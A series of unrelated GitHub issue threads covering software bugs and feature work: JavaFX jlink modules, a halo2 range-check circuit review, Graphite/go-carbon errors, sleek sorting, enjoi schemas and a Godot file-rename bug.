After that I was able to use jlink successfully. however now I face the following exception:
Caused by: java.lang.IllegalAccessError: class com.jfoenix.skins.JFXProgressBarSkin (in module com.jfoenix) cannot access class com.sun.javafx.scene.NodeHelper (in module javafx.graphics) because module javafx.graphics does not export com.sun.javafx.scene to module com.jfoenix

Yeah... that's not good news. Well, I'm not jigsaw expert, but it seems nearly impossible to build the project with jlink with the dependencies the project has. Most of them seem not to be prepared for jigsaw at all and looking up for issues in github it doesn't seem that they really attempted to address the issue. I don't know why, because jigsaw + javafx is perfect for distribution.
To be honest, as much as it sucks, I'd just remove all problematic dependencies (not sure how difficult 'cause I'm not a javafx expert either) if it was my call.
The other option would be to maintain patched versions of those with the module-info.java, this might not be difficult actually. I'll think I'll try to checkout JFoenix and add the module file to see how it goes.
Looks like you have to be picky with dependencies when you want to build with jlink :disappointed: . It feels like jigsaw was released, but there not much information on how to get it right.

I'll just leave few references that helped in my journey so far:
https://github.com/codetojoy/easter_eggs_for_java_9/
https://github.com/openjfx/samples
The samples repository contains a javafx project fully working with jlink. But of course, it doesn't depend on anything other than javafx.

 I wouldn't mind getting rid of JFoenix (not using it in a lot of places and easy to switch to the standard JavaFX controls) but RichTextFX is gonna be hard since it's a quite sophisticated and mature component. I've got my exams on right now, but I'll check out your links once I'm free.
Thanks for your efforts! :)


Workshop setup

[x] Review Lightning Decision Jam format
[x] Mini problem framing setup
[ ] Miro board setup
[ ] Scripts
[ ] Review

Trying to reconcile some different workshop formats to come up with one geared to producing research questions while examining the problem space.


fix: incorrect timeouts and scheme validation during S0 bootstrap, detect downgrade attacks

Certification tests found some issues where the timeouts and validation during S0 bootstrap wasn't correct. This fixes them.
In addition, we now detect possible S0 downgrade attacks and surface them as a "low security" reason.
fixes: #4242

@zwave-js-bot automerge


Roll Engine from 350534d24866 to 717d55cdd42e (3 revisions)

https://github.com/flutter/engine/compare/350534d24866...717d55cdd42e
2021-07-27<EMAIL_ADDRESS>Roll Dart SDK from 7c593a77ffed to ba67b106cf4a (1 revision) (flutter/engine#27719)
2021-07-27<EMAIL_ADDRESS>[ci.yaml] Explicitly define open jdk dependency (flutter/engine#27705)
2021-07-26<EMAIL_ADDRESS>[web] Fix analysis errors (flutter/engine#27707)
If this roll has caused a breakage, revert this CL and stop the roller
using the controls here:
https://autoroll.skia.org/r/flutter-engine-flutter-autoroll
Please CC<EMAIL_ADDRESS>on the revert to ensure that a human
is aware of the problem.
To report a problem with the AutoRoller itself, please file a bug:
https://bugs.chromium.org/p/skia/issues/entry?template=Autoroller+Bug
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+doc/main/autoroll/README.md

Help my update the schedule is


More efficient Range Check implementation

The goal of the range check chip is to evaluate that a value is within the required range determined by N_BYTES
As mentioned in #77, the goal is to improve the performance of the range check chip such that it accomplishes the same goal by performing fewer relative rotations.
The proposed implementation can be found at => https://github.com/enricobottazzi/scaffold-halo2
The logic is the following:
This helper checks that the value witnessed in a given cell is within a given range defined by N_BYTES. We consider the example in which we want to check that value 0x1f2f3f4f is in a range N_BYTES=4

value
decomposed_value
running_sum
toggle_running_sum_check
toggle_lookup_check

0
-
-
0x00
0
0

1
0x1f2f3f4f
0x1f
0x1f
1
1

2

0x2f
0x1f2f
1
1

3

0x3f
0x1f2f3f
1
1

4

0x4f
0x1f2f3f4f
1
1

The column decomposed_value contains the decomposed value of value in #N_BYTES byte chunks, big-endian.
The column running_sum contains the running sum of the values in decomposed_value. In particular the running_sum in a particular row is the result of concatenating the prev running_sum with the current decomposed_value.
The contraints that are enforced are:

(running_sum(prev) << 8) + decomposed_value(cur) = running_sum(cur) (enable by toggle_running_sum_check)
decomposed_value(cur) ∈ u8_lookup_table (enable by toggle_lookup_check)
value(1) == running_sum(4) (copy constraint applied here)

With the proposed implementation, the maximum relative rotation performed when setting the constraints equals -1.
Let's consider the case of a value 0x1f2f3f4f5f6f7f8f that overflow the required range of N_BYTES=4.  This would be the behaviour:

value
decomposed_value
running_sum
toggle_running_sum_check
toggle_lookup_check

0
-
-
0x00
0
0

1
0x1f2f3f4f5f6f7f8f
0x1f
0x1f
1
1

2

0x2f
0x1f2f
1
1

3

0x3f
0x1f2f3f
1
1

4

0x4f
0x1f2f3f4f5f6f7f8f
1
1

 The constraint => (running_sum(prev) << 8) + decomposed_value(cur) = running_sum(cur) should fail at offset 4

@alxkzmn, @sifnoc, I'm wondering what's your opinion on that and if you see any security issue before creating a PR and applying it to Summa. Is there any missing constraint?

We have to make sure running_sum(0) is zero.

I've been thinking about this for a while: What if the utility functions, such as big_uint_to_8bit_chunks and running_sums_of_chunks, are manipulated? Could it lead to avoiding the constraints, like the one below?

value
decomposed_value
running_sum
toggle_running_sum_check
toggle_lookup_check

0
-
-
0x0
0
0

1
0xff2f3f4f
0x0
0x0
1
1

2

0x0
0x0
1
1

3

0x0
0xff2f3f
1
1

4

0x4f
0xff2f3f4f
1
1

Hi @sifnoc, yes I think you are right in both cases!

I thought it would work, but it's not
A table for an alternative approach without selectors

value
exclude_decomposed_value
decomposed_value

0x1f2f3f4f
0x2f3f4f
0x1f

0x1f2f3f4f
0x1f003f4f
0x2f

0x1f2f3f4f
0x1f2f004f
0x3f

0x1f2f3f4f
0x1f23f00
0x4f

One of the constraints

value == exclude_decomposed_value(cur) + ( decomposed_value(cur) << 8 * ((N_BYTES -1) - i) )

Thanks! That clears things up for me!
So, to make sure I understand, z(4) = (0x1f - 0x0) / 2^8, right?
It's crucial to get 0 at z_W, the last element of z. But what if the prover just sets N_BYTES one higher than expected? It seems that this would always result in 0. For example, the modulus in BN256 is:
For example, the modulus in BN256 is [             0x30, 0x64, 0x4e, 0x72, 0xe1, 0x31, 0xa0, 0x29, 0xb8, 0x50, 0x45, 0xb6, 0x81, 0x81,             0x58, 0x5d, 0x28, 0x33, 0xe8, 0x48, 0x79, 0xb9, 0x70, 0x91, 0x43, 0xe1, 0xf5, 0x93,             0xf0, 0x00, 0x00, 0x01,         ];, 32 elements. If the prover simply sets N_BYTES` as 33, it seems like it would allow an overflow, don't you think?"

Actually the expression z(4) = (0x1f - 0x1f) / 2^8 seems correct to me according to this:
$$z_{i+1} = (z_{i} - k_i) / (2^K).$$
Where z(3) is the previous running sum and k(3) is the most significant decomposed byte.
Related to your second comment, I think this is a really good point.
It seems that the only part in which N_BYTES takes part in the circuit key generation phase is here:
https://github.com/summa-dev/summa-solvency/blob/437499c86ee423c77ec5eb33b8d1499a895903c8/zk_prover/src/chips/range/range_check.rs#L100-L103
Indeed, quoting CC
"Some parts of the witness assignment functions go to the key generation function:

As you said, copy constraints are in the key gen.
All fixed columns and their assigned values are in the key gen.
Selectors are fixed columns too. Their assigned values are in the key gen".

Since N_BYTES is assigned during key generation, also the values to toogle_lookup_check Selector column are assigned accordingly.
Suppose the case in which N_BYTES is set to 4 during key generation. The malicious prover is trying to add a value 0xff1f2f3f4f (which is not in the required range) to the witness table.

z
toogle_lookup_check

0
0xff1f2f3f4f
1

1
0xff1f2f3f
1

2
0xff1f2f
1

3
0xff1f
1

4
0xff
0

5
0x00
0

The constraint z(cur) - 2^8⋅z(next) ∈ lookup_u8 will be satisfied for each row in which toogle_lookup_check is activated.
The constraint z(last) == 0 will also be satisfied. Note that this is not dependent for N_BYTES
https://github.com/summa-dev/summa-solvency/blob/437499c86ee423c77ec5eb33b8d1499a895903c8/zk_prover/src/chips/range/range_check.rs#L147.
What I noticed is that by adding
println!("zs: {:?}", zs); at the end of the loop
and checking the configuration phase for the RangeChip by running cargo test --release --features dev-graph -- --nocapture print_range_check_test, this is what you get for a single Range Check
zs: [AssignedCell { value: Value { inner: None }, cell: Cell { region_index: RegionIndex(2), row_offset: 0, column: Column { index: 0, column_type: Advice } }, _marker: PhantomData<halo2curves::bn256::fr::Fr> }, AssignedCell { value: Value { inner: None }, cell: Cell { region_index: RegionIndex(2), row_offset: 1, column: Column { index: 0, column_type: Advice } }, _marker: PhantomData<halo2curves::bn256::fr::Fr> }, AssignedCell { value: Value { inner: None }, cell: Cell { region_index: RegionIndex(2), row_offset: 2, column: Column { index: 0, column_type: Advice } }, _marker: PhantomData<halo2curves::bn256::fr::Fr> }, AssignedCell { value: Value { inner: None }, cell: Cell { region_index: RegionIndex(2), row_offset: 3, column: Column { index: 0, column_type: Advice } }, _marker: PhantomData<halo2curves::bn256::fr::Fr> }, AssignedCell { value: Value { inner: None }, cell: Cell { region_index: RegionIndex(2), row_offset: 4, column: Column { index: 0, column_type: Advice } }, _marker: PhantomData<halo2curves::bn256::fr::Fr> }]
Which is indeed the correct configuration of 5 cells (as described in the previous comment) needed to perform the check on N_BYTES = 4.
If this is not enough, one idea that I might have to add N_BYTES to the constraint is to replace #L147 with
region.constrain_constant(zs[N_BYTES].cell(), Fp::from(0))?;
In such way we are replacing any last value of the vector zs to be zero.

Thanks for clarifying

Suppose the case in which N_BYTES is set to 4 during key generation. The malicious prover is trying to add a value 0xff1f2f3f4f (which is not in the required range) to the witness table.

z
toogle_lookup_check

0
0xff1f2f3f4f
1

1
0xff1f2f3f
1

2
0xff1f2f
1

3
0xff1f
1

4
0xff
0

5
0x00
0

The constraint z(cur) - 2^8⋅z(next) ∈ lookup_u8 will be satisfied for each row in which toogle_lookup_check is activated.
The constraint z(last) == 0 will also be satisfied. Note that this is not dependent for N_BYTES

Is there a way the verifier can know what value is specified for N_BYTES in the circuit?

z
n_bytes
toogle_lookup_check

0
0xff1f2f3f4f
4
1

1
0xff1f2f3f
3
1

2
0xff1f2f
2
1

3
0xff1f
1
1

4
0xff
0
0

5
0x00
0
0

I have a naive approach to prevent setting higher N_BYTES than expected.
It involves adding N_BYTES to the public input too and adding one more constraint like n_bytes(cur) = n_bytes(next) + 1.
With this setup, the prover cannot cheat by setting N_BYTES higher than expected but it's bad for user experience.

Is there a way the verifier can know what value is specified for N_BYTES in the circuit?

As far as I can tell, this info together with the ones related to constraints are encapsulated into the proving key and the verification key. A verifier can also tell the N_BYTES by instantiating the circuit with a specific N_BYTES value, running the setup and checking if the verification key is matching.

I have a naive approach to prevent setting higher N_BYTES than expected.

That would work too. I will ask CC for a review on this if he's able to before moving any forward

That's great! Now we have three options for addressing this issue:

Verifying the length of the zs from the given verification key (best).
Generating a verification key with the specified N_BYTES from the given ptau file that is publicly known.
Adding constraints for the n_bytes column in the range check circuit.

Can you open an issue for the first approach?

Actually the second approach that you are suggesting is what we are already doing in the latest commit at #132
As the MstInclusionCircuit takes N_BYTES as generic input, the verification key has already this information encoded within it!
https://github.com/summa-dev/summa-solvency/blob/943cd2c17568bbd807a6bc73a374ec64ba0fb0f2/zk_prover/src/circuits/merkle_sum_tree.rs#L29

I see. Let me describe this scenario from the user's perspective:

Verifying N_BYTES in the given verifying_key:
I envision that a user intending to verify a proof will receive proof, setup_params, and verifying_key files from the CEX.
They will then verify the proof using a tool provided to them.
In this situation, the user needs to verify the N_BYTES in the verifying_key to ensure that the CEX has not engaged in any manipulation that might cause an overflow.
The total size of the key downloaded in this scenario is relatively smaller than the one generated from the specified circuit and ptau file.
(If it is not please let me know..)

Generating keys on the user side
Here, the user will only receive a proof file from the CEX, without any accompanying key files. The user must generate the setup_params and verifying_key by using the ptau file and specific parameters communicated by the CEX.
This will allow the user to know the given parameter N_BYTES.

use n_bytes as public input
In this case, the user has to input N_BYTES for making instances. like leaf_hash.

So, the second approach is also acceptable to me. But ultimately, since N_BYTES is a sensitive parameter in the entire verification process, I believe the user has to learn how it is important.

Yes, these are the possible scenarios.
https://github.com/summa-dev/summa-solvency/blob/38997c85a7f4a3ce8dfc86b41e4ba500f0942c87/zk_prover/src/circuits/utils.rs#L80
The generation of the vk is a function of circuit and params.
The user needs to check that the vk they receive from the CEX is the obtained by running such function using as circuit an instance of MstInclusionCircuit with the expected N_BYTES  and as params the one published by the CEX.
It might be too much of a hurdle to ask each user to perform this whole operation, but we should educate them about this potential attack vector by the CEX, which btw is not only limited to manipulating N_BYTES but any other constraint.
I think the scenario that I like the most is 1, with the possibility of verifying the correct generation of the vk being promoted as an optional check that the user can perform if they are extra cautious.


Sample app: create new contact

Create contact screen should include;

[x] Contact starred (invisible)
[x] Contact send to voicemail (invisible)
[x] Contact ringtone (invisible)
[x] Contact photo (editable)
[x] Contact name primary (not-editable)
[x] Contact name alt (not-editable)
[x] Contact last updated (not-editable)
[x] RawContact photo (editable)
[x] RawContact account (editable)
[x] RawContact name (editable)
[x] RawContact nickname (editable)
[x] RawContact organization (editable)
[x] RawContact phones (editable)
[x] RawContact SIP address (editable)
[x] RawContact emails (editable)
[x] RawContact addresses (editable)
[x] RawContact IM (editable)
[x] RawContact websites (editable)
[x] RawContact events (editable) (invisible if no account)
[x] RawContact relations (editable) (invisible if no account)
[x] RawContact note (editable)
[x] RawContact group memberships (editable) (invisible if no account)

All of the work has been committed into the main branch!


multiple calls to matplotlib fig.savefig() produce UserWarning:  axes embedded in axes: something is wrong

Hi,
Each epoch, I am visualizing several images in a figure using matplotlib subplots.
Then I use fig.savefig() to save them to disk.
The first call to fig.savefig() passes cleanly.
Each following call, even after exiting the visualize function, on next epoch for example, produces these two warnings-
/usr/local/lib/python3.6/dist-packages/plotly/matplotlylib/mplexporter/renderers/base.py:42: UserWarning:

figure embedded in figure: something is wrong

/usr/local/lib/python3.6/dist-packages/plotly/matplotlylib/mplexporter/renderers/base.py:54: UserWarning:

axes embedded in axes: something is wrong

This happens only when tracking the experiment.
How can I solve this?
Thanks,
Moti

Hi @motikadosh ,
This looks like the internal plotly warnings (basically saying, we did our best but you would probably end up with plot image, and not an interactive one).
Anyhow, I think we disabled those warnings (because as you mentioned, they are quite annoying).
Which version of trains are you using?
Could you test with the latest RC?
pip install trains==0.15.0rc0

Hi,
I am using  trains==0.14.3,
Upgrading to trains==0.15.0rc0, seems to solve the issue!
Thanks a lot.


Request for Permission to Rewrite Novaflow-WAF from Rust to Go

Hi, I have sent you an email at<EMAIL_ADDRESS>regarding the this request. Can you please check the email?
Thanks.
Regards.

i already answer your questions, i want keep this projects on track on rust, at the first place i want use in go (i use on my day-to-day using go cause fast development and simple code), but after several research it will not suite for minimum resource especially memory (since gorountines and garbage collector use memory), the details are on email thanks


INTERNALSERVER ERROR 500

please help here @DanCech

Hi @Prasadevops0710
You need uncomment FETCH_TIMEOUT (and probably FIND_TIMEOUT also) in local_settings.py file and put some sane value there. Default is 6.0, means 6 seconds, you can e.g. double it, so, put 12 seconds there.

I've made changes in setting.py file now its working fine but in grafana the dashboard loading slowly it taking 10 sec to load dash board

please let me know can i change in localsetting.py also

when am checking logs 2022-03-06,12:25:30.221 :: Failed CarbonLink query 'rtb-test.st.aggregated.accounts.54db32e4_4d94_41b5_8152_848cf8b1ab6b.9fb7e69e_f681_4071_b89c_8c11465c78a5.submitted'
Traceback (most recent call last):
File "/data/graphite/webapp/graphite/readers/utils.py", line 110, in merge_with_carbonlink
cached_datapoints = CarbonLink().query(metric)
File "/data/graphite/webapp/graphite/carbonlink.py", line 97, in query
results = self.send_request(request)
File "/data/graphite/webapp/graphite/carbonlink.py", line 130, in send_request
conn = self.get_connection(host)
File "/data/graphite/webapp/graphite/carbonlink.py", line 87, in get_connection
connection = socket.create_connection((server, port), self.timeout)
File "/usr/lib/python2.7/socket.py", line 575, in create_connection
raise err
error: [Errno 111] Connection refused
@deniszh

@Prasadevops0710

please let me know can i change in localsetting.py also

If you changed settings.py that doesn't matter

error: [Errno 111] Connection refused

what's in your CARBONLINK_HOSTS parameter? Do you use carbon or go-carbon ? Is in installed on same server?

I’m using gocarbon

Installed in same server

some times some of panels showing no data but when I'm refreshing dashboard the panels are showing metrics

@Prasadevops0710
Uncomment CARBONLINK_HOSTS in local_settings.py and make sure that
carbonlink section is present in go-carbon.conf:
[carbonlink]
listen = "<IP_ADDRESS>:7002"
enabled = true
# Close inactive connections after "read-timeout"
read-timeout = "30s"

Also you can try to switch to carbonserver proto. Enable it in go-carbon.conf:
[carbonserver]
listen = "<IP_ADDRESS>:8080"
enabled = true
....

and then add
CLUSTER_SERVERS=["<IP_ADDRESS>:8080"]

to local_settings.py and restart both go-carbon and graphite-web.

● go-carbon.service - Go-carbon
Loaded: loaded (/etc/systemd/system/go-carbon.service; enabled; vendor preset: enabled)
Active: activating (auto-restart) (Result: exit-code) since Wed 2022-03-09 17:27:08 UTC; 4s ago
Process: 20402 ExecStart=/bin/sh -c go-carbon -config /data/graphite/conf/go-carbon.conf (code=exited, status=1/FAILURE)
Main PID: 20402 (code=exited, status=1/FAILURE)
Mar 09 17:27:08 ip-10-5-102-84 systemd[1]: go-carbon.service: Unit entered failed state.
Mar 09 17:27:08 ip-10-5-102-84 systemd[1]: go-carbon.service: Failed with result 'exit-code'.

I've enabled carbon server and restarted go-carbon but its always in loaded state as above

CorruptWhisperFile: Unable to read header (/data/graphite/storage/whisper/rtb-test/st/aggregated/accounts/54db32e4_4d94_41b5_8152_848cf8b1ab6b/9fb7e69e_f681_4071_b89c_8c11465c78a5/bidUnderDealFloor.wsp)
18442
18443	2022-03-20,18:06:37.500 :: Exception encountered in <GET http://graphite-us.knorex-internal.com/render/?format=pickle&local=1&noCache=1&from=1647796304&until=1647799904&target=rtb-test.st.aggregated.accounts.54db32e4_4d94_41b5_8152_848cf8b1ab6b.9fb7e69e_f681_4071_b89c_8c11465c78a5.*&now=1647799904>
18444	Traceback (most recent call last):
18445	  File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py", line 185, in _get_response
18446	    response = wrapped_callback(request, callback_args, **callback_kwargs)
18447	  File "/data/graphite/webapp/graphite/render/views.py", line 118, in renderView
18448	    data.extend(evaluateTarget(requestContext, targets))
18449	  File "/data/graphite/webapp/graphite/render/evaluator.py", line 15, in evaluateTarget
18450	    prefetchData(requestContext, pathExpressions)
18451	  File "/data/graphite/webapp/graphite/render/datalib.py", line 263, in prefetchData
18452	    for result in STORE.fetch(pathExpressions, startTime, endTime, now, requestContext):
18453	  File "/data/graphite/webapp/graphite/storage.py", line 190, in fetch
18454	    'fetch for %s' % str(patterns))
18455	  File "/data/graphite/webapp/graphite/storage.py", line 132, in wait_jobs
18456	    raise Exception(message)
18457	Exception: All requests failed for fetch for [u'rtb-test.st.aggregated.accounts.54db32e4_4d94_41b5_8152_848cf8b1ab6b.9fb7e69e_f681_4071_b89c_8c11465c78a5.'] (1)
18458
18459	fetch for [u'rtb-test.st.aggregated.accounts.54db32e4_4d94_41b5_8152_848cf8b1ab6b.9fb7e69e_f681_4071_b89c_8c11465c78a5.*']: Unable to read header (/data/graphite/storage/whisper/rtb-test/st/aggregated/accounts/54db32e4_4d94_41b5_8152_848cf8b1ab6b/9fb7e69e_f681_4071_b89c_8c11465c78a5/bidUnderDealFloor.wsp): Traceback (most recent call last):
18460
18461	  File "/data/graphite/webapp/graphite/worker_pool/pool.py", line 43, in run
18462	    self.result = self.func(*self.args, **self.kwargs)
18463
18464	  File "/data/graphite/webapp/graphite/finders/utils.py", line 140, in fetch
18465	    now=now, requestContext=requestContext
18466
18467	  File "/data/graphite/webapp/graphite/node.py", line 30, in fetch
18468	    result = self.reader.fetch(startTime, endTime, now, requestContext)
18469
18470	  File "/data/graphite/webapp/graphite/readers/whisper.py", line 59, in fetch
18471	    data = self.fetch_data(startTime, endTime, now=now)
18472
18473	  File "/data/graphite/webapp/graphite/readers/whisper.py", line 55, in fetch_data
18474	    return whisper.fetch(self.fs_path, startTime, endTime, now=now)
18475
18476	  File "/usr/local/lib/python2.7/dist-packages/whisper-1.2.0-py2.7.egg/whisper.py", line 906, in fetch
18477	    return file_fetch(fh, fromTime, untilTime, now, archiveToSelect)
18478
18479	  File "/usr/local/lib/python2.7/dist-packages/whisper-1.2.0-py2.7.egg/whisper.py", line 910, in file_fetch
18480	    header = __readHeader(fh)
18481
18482	  File "/usr/local/lib/python2.7/dist-packages/whisper-1.2.0-py2.7.egg/whisper.py", line 290, in __readHeader
18483	    raise CorruptWhisperFile("Unable to read header", fh.name)
18484
@deniszh can you help here

@Prasadevops0710 : File /data/graphite/storage/whisper/rtb-test/st/aggregated/accounts/54db32e4_4d94_41b5_8152_848cf8b1ab6b/9fb7e69e_f681_4071_b89c_8c11465c78a5/bidUnderDealFloor.wsp is corrupted and can't be read. Please delete it.

@deniszh  but it seems that there are so many corrupted file around 1000 can I delete all or is there any way to prevent that in future. thank you


Sort by two criteria

It would be great to have two (or more) sorting criteria, for example Sort by Due Date and then by Priority.

Agreed, Project and Due date will be so great

@rzelnik , while looking into how to approach this feature, I was rereading your post @rzelnik. If sorting/grouping by due date first and then by priority is what you want to do, it should be possible already. If you change the sorting method to due date, the next sorting method will be priority. That only as a hint.
The real feature of course is to make every possible combination defineable. Let#s see what can be done ;)

Yes, I already noticed that when I sort by Due date, priority is the (hidden) second sorting option. The another drop-down menu for the secondary sorting option would be useful - it would be it clearer and easier to understand and it would add more customizability. However, one visible sorting option and one hidden/automatic is also good.

@rzelnik , @nutnutwin , I added a first draft of this function to the latest pre release: https://github.com/ransome1/sleek/releases/tag/v1.0.7
At this point I could really need your support. If you can spare a bit of time please download it and give it a proper testing. I'm curious if this works well in your environment.

Hi, @ransome1.  I built my own AppImage for 1.0.7 and the multiple sort criteria feature seems to work for me.  Very cool!  However, I did notice one thing.  If I drag on the "==" beside the criterion, it moves by itself without the criterion and leaves the criterion on a separate line.

Why didn't it occur to me that you are using Sleek to task manage Sleek development?! :D
A few notes/possible improvements:

Drag and drop seems alright. You can also use little up/down arrows that appear on hovering.
Perhaps an option to sort by the todo text itself.
Another useful thing is sort "as in file" = disable any sorting. It can be a toggle next to the heading "Sort by".
A toggle to exclude an option from the sorting entirely. For example, don't sort by context, not even last. If you want to continue the drag-and-drop method, you can add a line that if you drag something below it, it gets disabled (gray).

                   [ x ] Due date  ↕
                   [ x ] Priority  ↕
Sort by [ x ]      [ x ] Projects  ↕
                   [ x ] Todo text ↕
                   ----------------
                   [   ] Contexts  ↕

Maybe also quick sorting toggles (not permanent, for the current view and clear when you clear filters)

Thanks for your feedback so far. If you're wondering, why the filter buttons do not work any longer; Please redownload the release ;)

@9z0 , @nutnutwin . I replaced the drag and drop implementation with one that is a bit more joyable ;)
@9z0 , I appreciate your suggestions, but I don't think I see the big benefits for the majority of sleeks users.
sleeks approach in general is to keep the GUI as clean as possible. I rather make sleek a simple experience for 90% of the users than an overly functional one for 10%, that don't benfit or even confuse the 90%. But of course I understand that this is only my opinion and there will be plenty of users out there who disagree.

No problem, although I think you underestimate the average sleek user!
However, I'd still recommend "sort by the todo text itself".

@9z0 ah ok, now I understand what you are referring to in the other ticket.

@ransome1 I will respond here if it is OK with you.

@rzelnik this feature has been released with 1.0.7: https://github.com/ransome1/sleek/releases/tag/v1.0.7
I am going to close here. If there are any issues with this feature, please report back here and we will reopen.

I can also confirm that the setting in user-preferences.json works.
I removed the sort criteria that I don't want and sleek used the remaining ones and then in-file sorting as expected. 👍


"additionalProperties" in "allOf" does not work

Hi,
When additionalProperties is used with allOf, it does not work.
Sample Code
const Joi = require("joi");
const Enjoi = require("enjoi");

const jsonSchema = {
  allOf: [
    {
      allOf: [
        {
          type: "object",
          additionalProperties: false,
          properties: {
            a: { type: "string" },
            b: { type: "string" },
          },
        },
        {
          type: "object",
          properties: {
            c: { type: "string" },
            d: { type: "string" },
          },
        },
      ],
    },
  ],
};

const jsonSchema2 = {
  type: "object",
  properties: {
    a: { type: "string" },
    b: { type: "string" },
  },
};

const result = Joi.validate({ z: "3" }, Enjoi.schema(jsonSchema), { abortEarly: false });
const result2 = Joi.validate({ z: "4" }, Enjoi.schema(jsonSchema2), { abortEarly: false });

console.log(result.error);
console.log(result2.error);

Actual Result
null
{ ValidationError: "z" is not allowed ...}
Expected Result
{ ValidationError: "z" is not allowed ...}
{ ValidationError: "z" is not allowed ...}
Kind Regards,

This is probably going to be a documented limitation of how allOf will work with Joi. allOf is not a combination of the defined schemas, but rather a validation against all provided schemas.
To allow this to work, allOf must always allow additional properties so that it may continue checking.
With access to more of the job error API we could get more custom about avoiding this sort of decision making but for now it's probably harder.
Will think through it some more.

Oh, I missed that. It seems also a limitation of JSON Schema too, and this exact example is given in doc's combining schemas section
It may be added in next versions of JSON Schema...

This shortcoming is perhaps one of the biggest surprises of the combining operations in JSON schema: it does not behave like inheritance in an object-oriented language. There are some proposals to address this in the next version of the JSON schema specification.

As a workaround, in my particular case at hand, I will try to add an optional preprocess step to convert allOf to non cascading schema. (They are not equivalent in as per JSON Schema spec, but equal for my needs)
From:
{
  allOf: [
    {
      allOf: [
        {
          type: "object",
          properties: {
            a: { type: "string" },
            b: { type: "string" },
          },
        },
        {
          type: "object",
          properties: {
            c: { type: "string" },
            d: { type: "string" },
          },
        },
      ],
    },
  ],
};

to
{
  type: "object",
  additionalProperties: false,
  properties: {
    a: { type: "string" },
    b: { type: "string" },
    c: { type: "string" },
    d: { type: "string" },
  },
},

Cool, and thanks for the feedback!
I appreciate the issues - helps me get insight into things I missed.


Renaming a file sometimes shows an error popup

Tested versions
can happen in v4.3.dev.custom_build [a7b860250]
System information
linux
Issue description
https://github.com/godotengine/godot/assets/71937306/bb13f73d-9f4a-45c5-a59e-6edc88f09c41

as you can see in this clip, renaming a file to an unused name still reports that the name is used in a popup. (the operation doesn't fail though)
it is not consistent (happened for a while on a test file and then, after writing the report, it stopped happening within the same editor instance)

Steps to reproduce
rename a file
Minimal reproduction project (MRP)
any

The _rename_operation_confirm is triggered twice, so the second time it already sees the file and gives the warning:
The call stack for first _rename_operation_confirm, popup_editor->hide() triggered this function call:

The second, item_edited triggered this function call:

This seems to impact renaming through both the tree view and split views, looks like FileSystemList and Tree both have similar issues with the popup/_line_editor_submit duplicate calls.  I'm seeing the warning when pressing enter after renaming, but clicking out of the rename edit, or pressing escape, does not give the warning (but still changes the name, which I think is different from old behavior for pressing escape).  Both _text_editor_popup_modal_close functions have checks for escape/enter keys being pressed to return early, which look like they were meant to prevent this, but don't seem to be stopping the _line_editor_submit call even if I purposely hold down the key after changing the name.

Bisected to 9240034d3c6c41fd8e027663f82e61be9386c882 on Windows.  Looks like there used to be a timer that would delay the call to DisplayServerWindows::_process_activate_event when deactivating the window for the popup.  This function calls Input::get_singleton()->release_pressed_events(), which clears out key_pressed info.  With the key_pressed info being cleared out earlier now, _text_editor_popup_modal_close (for both Tree and FileSystemList) doesn't see the escape/enter keys pressed, so calls through to _rename_operation_confirm an additional time. Adding back the timer removes the warning, and restores the old behavior of pressing escape to not save the rename.
This only explains why it occurs on Windows though, issue was reported for Linux.  Looks like display_server_x11.cpp also uses Input::get_singleton()->release_pressed_events(), but I can't test what changed around it to start behaving differently.

I can still reproduce this on Linux in latest master (4.3.beta 5708a3a02e00061e03366f2dabf8942df66fedca).

I can still reproduce this on Linux in latest master (4.3.beta 5708a3a).

So this report is a bit confusing, since:

@mieldepoche reported a regression happening on Linux before 4.3-dev6. I don't seem to reproduce that one in either dev5 or dev6, on Fedora 40 KDE Wayland (using X11 editor via XWayland).
@aaronp64 bisected a similar issue to #84363, which is Windows-specific, so wouldn't be the cause of the Linux regression.
#91361 fixed the Windows regression bisected by @aaronp64.
Now I'm seeing the same Linux regression in latest master, and I confirmed that it was introduced by #91361 for me...

We're going around in circles.

#91112 fixes a few issues on Windows (including a crash), so it should be kept or superseded by a better fix.

Even if the bug was fixed by tweaking the code before #91112, that PR lays out a more robust way of handling such issues.
That said, I'm a bit puzzled about the issue having come back. Can you provide a stack trace at the point where the error dialog is triggered?

Can you provide a stack trace at the point where the error dialog is triggered?

The error probably means that we're sending the confirmation twice or more, so the rename logic is run multiple times. It's successful the first time, and subsequent times fail because the file already has the new name.
I put a breakpoint on the warning:
Thread 1 "godot-git" hit Breakpoint 1, FileSystemDock::_rename_operation_confirm (this=0x14373770) at ./editor/filesystem_dock.cpp:1830
1830                    EditorNode::get_singleton()->show_warning(TTR("A file or folder with this name already exists."));
Missing separate debuginfos, use: dnf debuginfo-install alsa-lib-1.2.11-2.fc40.x86_64 bzip2-libs-1.0.8-18.fc40.x86_64 dbus-libs-1.14.10-3.fc40.x86_64 elfutils-libelf-0.191-4.fc40.x86_64 expat-2.6.2-1.fc40.x86_64 flac-libs-1.4.3-4.fc40.x86_64 fontconfig-2.15.0-4.fc40.x86_64 freetype-2.13.2-5.fc40.x86_64 glib2-2.80.2-1.fc40.x86_64 glibc-2.39-8.fc40.x86_64 graphite2-1.3.14-15.fc40.x86_64 gsm-1.0.22-6.fc40.x86_64 harfbuzz-8.4.0-1.fc40.x86_64 lame-libs-3.100-17.fc40.x86_64 libX11-1.8.9-1.fc40.x86_64 libX11-xcb-1.8.9-1.fc40.x86_64 libXcursor-1.2.1-7.fc40.x86_64 libXext-1.3.6-1.fc40.x86_64 libXfixes-6.0.1-3.fc40.x86_64 libXi-1.8.1-5.fc40.x86_64 libXinerama-1.1.5-6.fc40.x86_64 libXrender-0.9.11-6.fc40.x86_64 libbrotli-1.1.0-3.fc40.x86_64 libcap-2.69-8.fc40.x86_64 libdrm-2.4.120-3.fc40.x86_64 libedit-3.1-50.20230828cvs.fc40.x86_64 libffi-3.4.4-7.fc40.x86_64 libgcc-14.1.1-1.fc40.x86_64 libpng-1.6.40-3.fc40.x86_64 libsndfile-1.2.2-2.fc40.x86_64 libstdc++-14.1.1-1.fc40.x86_64 libvorbis-1.3.7-10.fc40.x86_64 libwayland-client-1.22.0-3.fc40.x86_64 libxcb-1.17.0-1.fc40.x86_64 libxkbcommon-1.6.0-2.fc40.x86_64 libxml2-2.12.6-1.fc40.x86_64 libzstd-1.5.6-1.fc40.x86_64 llvm-libs-18.1.1-1.fc40.x86_64 mesa-vulkan-drivers-24.0.7-1.fc40.x86_64 mpg123-libs-1.31.3-4.fc40.x86_64 ncurses-libs-6.4-12.20240127.fc40.x86_64 